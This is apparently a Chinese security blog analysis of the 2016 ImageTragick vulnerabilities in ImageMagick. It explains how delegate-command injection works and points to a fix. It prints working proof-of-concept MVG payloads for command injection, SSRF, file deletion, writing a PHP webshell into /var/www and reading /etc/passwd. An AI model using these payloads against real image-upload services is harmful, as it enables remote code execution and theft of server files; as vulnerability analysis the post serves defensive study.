当前位置: 首页 > WEB安全, 安全资讯, 网络安全 > 正文

ImageMagick命令执行漏洞分析(CVE-2016-3714)

0x00 漏洞概述

ImageMagick是一款广泛流行的开源图像处理软件,被无数的网站和web应用使用它来进行图像处理。在5月3号ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。在https://imagetragick.com/站点可以了解这一漏洞的详细信息。

0x01 影响范围

基于ImageMagick 库的应用现在已经被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,如PHP’s imagick, Ruby’s rmagick and paperclip, and nodejs’s imagemagick等等。当然,涉及到的站点应用也是数以百万计,有博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupl、Discuz等。其具体影响范围有:

1、调用ImageMagick的库实现图片处理和渲染的应用(ImageMagick 为多种语言提供了api)。

2、很多流行的内容管理系统(CMS)使用了ImageMagick ,例如 WordPress 的图片处理插件已被证实存在远程命令执行的漏洞(Author 及以上权限用户执行)。

其他如MediaWiki、phpBB和vBulletin 使用了ImageMagick 库生成缩略图,还有一些程序如LyX使用ImageMagick转换图片格式。以上应用可能受到此漏洞影响。

3、如果通过shell 中的convert 命令实现一些图片处理功能,也会受到此漏洞影响。

0x02 国内大批应用被捅

该漏洞在5月4开始,这几天在wooyun网上出现大批量互联网应用被爆菊,并且大都涉及到一些大厂商,如腾讯的邮箱、微信,百度,网易,新浪,优酷,七牛,人人,wordpress等等,而且主流app也存在此漏洞。

0x03 漏洞原理分析

在ImageMagick中有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行(详见Github源码中的MagickCore/delegate.c文件的第347行)。在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegat。

imagick-1

最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令

imagick-2

从上面第一幅图中定义对https格式的图片的处理时,是采用类似于正则表达式的方式进行简单的安全检测。下面拿出来单独分析:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https图片的时候,使用了curl命令将其下载。这里定义了一些占位符,如%o是curl输出的文件名,%M是远程的URL路径。注意到command中的可以到%M是可以拼接其他指令并被在命令行中执行的。该漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。也就是下面这样:

"wget" -q -O "%o" "https:%M"

当%M为:

`https://example.com";|ls "-la`

时,后面的ls -la也会由于没有安全过滤而通过管道执行。而ImageMagick默认支持一种图片格式,叫mvg,它与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。所以Poc如下(poc.mvg):

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

其实ImageMagick主要是根据内容来识别图片类型的,所以上面的poc后缀名是jpg、png、gif都行。在本地shell环境下测试如下:

imagick-3

漏洞本地检测POC :GitHub

 

0x04 其他CVE分析

(1) CVE-2016-3718,它是利用mvg格式中可以包含url的特点而发起HTTP GET或者FTP请求,进行SSRF攻击,POC如下(ssrf.mvg):

ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # makes http request to example.com

(2) CVE-2016-3715,它是利用ImageMagick支持的ephemeral协议,来删除任意文件:

delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

(3) CVE-2016-3716,它是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php

(4) CVE-2016-3717,它可以造成本地文件读取漏洞:

file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context

$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd

0x05 修复方案?

请看phith0n同学在wooyun知识库中一篇文章的修复方案吧:http://drops.wooyun.org/papers/15589

另外官方说明将在一周内提供最新的ImageMagick 7.x.x-x漏洞修复版本,期待中。。。

 

参考文档:

https://imagetragick.com/

http://www.openwall.com/lists/oss-security/2016/05/03/18

http://drops.wooyun.org/papers/15589

 

下一篇将详细分析一下该漏洞在Wordpress中的利用,期待中。。。

 



这篇博文由 s0nnet 于2016年05月06日发表在 WEB安全, 安全资讯, 网络安全 分类下, 通告目前不可用,你可以至底部留下评论。
如无特别说明,计算机技术分享发表的文章均为原创,欢迎大家转载,转载请注明: ImageMagick命令执行漏洞分析(CVE-2016-3714) | 计算机技术分享
关键字: ,

ImageMagick命令执行漏洞分析(CVE-2016-3714):等您坐沙发呢!

发表评论

快捷键:Ctrl+Enter